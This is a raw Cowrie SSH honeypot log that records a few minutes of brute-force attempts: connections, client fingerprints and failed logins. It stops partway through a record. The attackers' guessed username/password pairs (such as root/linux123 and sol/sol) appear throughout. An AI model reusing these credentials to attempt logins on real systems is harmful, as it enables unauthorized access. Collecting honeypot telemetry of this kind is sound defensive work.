{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:d8:82:00:c9:2d:94:17:4b:ce:9b:91:54:51:b5:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsuxgsaTBM5Z36wI3xuNks51QPpUuGmqE6q7pZ8mcddk5tz1LMbX7O0MvWqxHgK0eV54rshCJato7IDpRrwNm47PeeVtNKyFZsR1YUplak39t6cz8wC3C/fmjp3owlzIxXrAzdg2vdTTpyjaj5cwb5ZtxZeotSd/94WouMojJwHOHNmDa1ZEcbEtiRjZjl1877Xc98dQ1lfAgSvbeVrHkQhTBlJpFGKeRCFM0rRfFPMo/wzhOCeiCsnPzSMK4IROC7VqAJ1CPac2FmV0mP6qnYgBa8xa0MFXJyFKRGcBxMG094YwIG9nPopTAVXl9A2C85pBJ87A8z3BTWtiu/G6YWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:11.534598Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:fd:06:2d:b7:a5:57:1c:95:f6:26:a4:48:1e:2d:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUBIMsYcfqslyBnWd7nN0Tq3T35B62k4NkOD1k6uJurwbXmadP7sjBoSeMzoSTSYUJvkGvl7wJG81uSlx9EdNeI7+avU/4TuE2Amu7xnQWgpsw89XejASO4z6qWtVoCT9MRZRTZQVxh834i1XQMeHYec1tM0XfKco0ydZuKh0pvbBx3+tic4Qwo+e4WOHK2Ylcek32VJ8ODMP5RBnmHZb3Um/oGpnmDE4KpXAodbwcYhnNm6Nak3ShfSkZqP23OEfH9nCQGnEO5yLTyjoArSEPfLCTFCdp5OWZOsd6l4N9orGP7u9UazfjhtTHnvCpum8bl7jzjnWNO1bZycgZa4Br","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:fd:06:2d:b7:a5:57:1c:95:f6:26:a4:48:1e:2d:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:11.795480Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:fd:06:2d:b7:a5:57:1c:95:f6:26:a4:48:1e:2d:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUBIMsYcfqslyBnWd7nN0Tq3T35B62k4NkOD1k6uJurwbXmadP7sjBoSeMzoSTSYUJvkGvl7wJG81uSlx9EdNeI7+avU/4TuE2Amu7xnQWgpsw89XejASO4z6qWtVoCT9MRZRTZQVxh834i1XQMeHYec1tM0XfKco0ydZuKh0pvbBx3+tic4Qwo+e4WOHK2Ylcek32VJ8ODMP5RBnmHZb3Um/oGpnmDE4KpXAodbwcYhnNm6Nak3ShfSkZqP23OEfH9nCQGnEO5yLTyjoArSEPfLCTFCdp5OWZOsd6l4N9orGP7u9UazfjhtTHnvCpum8bl7jzjnWNO1bZycgZa4Br","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:11.798823Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:28:33:8d:aa:a0:0a:a3:fd:f2:0e:33:75:e3:b4:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4ESoaWkseS7iV2mPcF2Gf/yDmbAcg56WTknRU6vT5vmiL8LVGqJUIs7Yo09kllFmnUeeYiPpoXvB2h5JOI6ufHFl6eRyjsFD+4Jo6niRnCcL4CU2vfWOBXAGqcPWCLh5y1QdrWUx6cVdMvm0GHR/JsyFD4GBS6KbySRfIZrpdygi1324xxC96FzTmntXrX2+xal7cLLXnJcOD+VDnVaympp1jrY2bsTJMdaY9DoLSZEh/fc/I0Yk9/1l8hs5dZsBYDf06R7ir9IBwc2S/IPGtESzciYcyXpt27OsLnb8v1zLxAbnXULTXsYDhdQHs8Yk+veCWWF+gDFBXzrZwwygB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:28:33:8d:aa:a0:0a:a3:fd:f2:0e:33:75:e3:b4:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:12.059467Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:28:33:8d:aa:a0:0a:a3:fd:f2:0e:33:75:e3:b4:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4ESoaWkseS7iV2mPcF2Gf/yDmbAcg56WTknRU6vT5vmiL8LVGqJUIs7Yo09kllFmnUeeYiPpoXvB2h5JOI6ufHFl6eRyjsFD+4Jo6niRnCcL4CU2vfWOBXAGqcPWCLh5y1QdrWUx6cVdMvm0GHR/JsyFD4GBS6KbySRfIZrpdygi1324xxC96FzTmntXrX2+xal7cLLXnJcOD+VDnVaympp1jrY2bsTJMdaY9DoLSZEh/fc/I0Yk9/1l8hs5dZsBYDf06R7ir9IBwc2S/IPGtESzciYcyXpt27OsLnb8v1zLxAbnXULTXsYDhdQHs8Yk+veCWWF+gDFBXzrZwwygB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:12.063551Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:12.327899Z","src_ip":"198.38.91.141","session":"7c075fd890cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":34872,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ccc93b74d6e","protocol":"ssh","message":"New connection: 198.23.150.42:34872 (10.17.0.5:22) [session: 6ccc93b74d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:13.522409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:13.527305Z","src_ip":"198.23.150.42","session":"6ccc93b74d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:13.545114Z","src_ip":"198.23.150.42","session":"6ccc93b74d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:13.646183Z","src_ip":"198.23.150.42","session":"6ccc93b74d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:14.667752Z","src_ip":"198.23.150.42","session":"6ccc93b74d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"91.9","message":"Connection lost after 91.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:15.062570Z","src_ip":"8.218.166.49","session":"dc41f6633f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48854,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d79619e4714","protocol":"ssh","message":"New connection: 8.218.166.49:48854 (10.17.0.5:22) [session: 4d79619e4714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:18.736653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:24.427573Z","src_ip":"8.218.166.49","session":"4d79619e4714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:24.431514Z","src_ip":"8.218.166.49","session":"4d79619e4714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":58760,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcef8334d41f","protocol":"ssh","message":"New connection: 14.63.196.175:58760 (10.17.0.5:22) [session: fcef8334d41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:27.489266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:27.493903Z","src_ip":"14.63.196.175","session":"fcef8334d41f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:27.690394Z","src_ip":"14.63.196.175","session":"fcef8334d41f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:28.508621Z","src_ip":"14.63.196.175","session":"fcef8334d41f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:29.707445Z","src_ip":"14.63.196.175","session":"fcef8334d41f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":36310,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba62103ec3a","protocol":"ssh","message":"New connection: 49.207.40.162:36310 (10.17.0.5:22) [session: 0ba62103ec3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:30.243946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:30.249207Z","src_ip":"49.207.40.162","session":"0ba62103ec3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:30.468090Z","src_ip":"49.207.40.162","session":"0ba62103ec3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"intrepid","message":"login attempt [root/intrepid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:31.369388Z","src_ip":"49.207.40.162","session":"0ba62103ec3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:32.590013Z","src_ip":"49.207.40.162","session":"0ba62103ec3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50352,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ea7d1a9858","protocol":"ssh","message":"New connection: 2.57.122.238:50352 (159.203.135.109:22) [session: 17ea7d1a9858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:33.086650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:33.091988Z","src_ip":"2.57.122.238","session":"17ea7d1a9858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:33.195590Z","src_ip":"2.57.122.238","session":"17ea7d1a9858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:33.507455Z","src_ip":"2.57.122.238","session":"17ea7d1a9858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:34.613875Z","src_ip":"2.57.122.238","session":"17ea7d1a9858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:38.225206Z","src_ip":"8.218.166.49","session":"4d79619e4714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":35678,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f93f8b3def0","protocol":"ssh","message":"New connection: 101.36.124.219:35678 (159.203.135.109:22) [session: 5f93f8b3def0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:44.977735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:44.981814Z","src_ip":"101.36.124.219","session":"5f93f8b3def0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:45.194256Z","src_ip":"101.36.124.219","session":"5f93f8b3def0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:46.076972Z","src_ip":"101.36.124.219","session":"5f93f8b3def0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:47.293533Z","src_ip":"101.36.124.219","session":"5f93f8b3def0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.2","message":"Connection lost after 29.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:56:47.893016Z","src_ip":"8.218.166.49","session":"4d79619e4714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":39592,"dst_ip":"10.17.0.5","dst_port":22,"session":"b36141e4d9f0","protocol":"ssh","message":"New connection: 182.180.57.212:39592 (10.17.0.5:22) [session: b36141e4d9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:00.075995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:00.082762Z","src_ip":"182.180.57.212","session":"b36141e4d9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 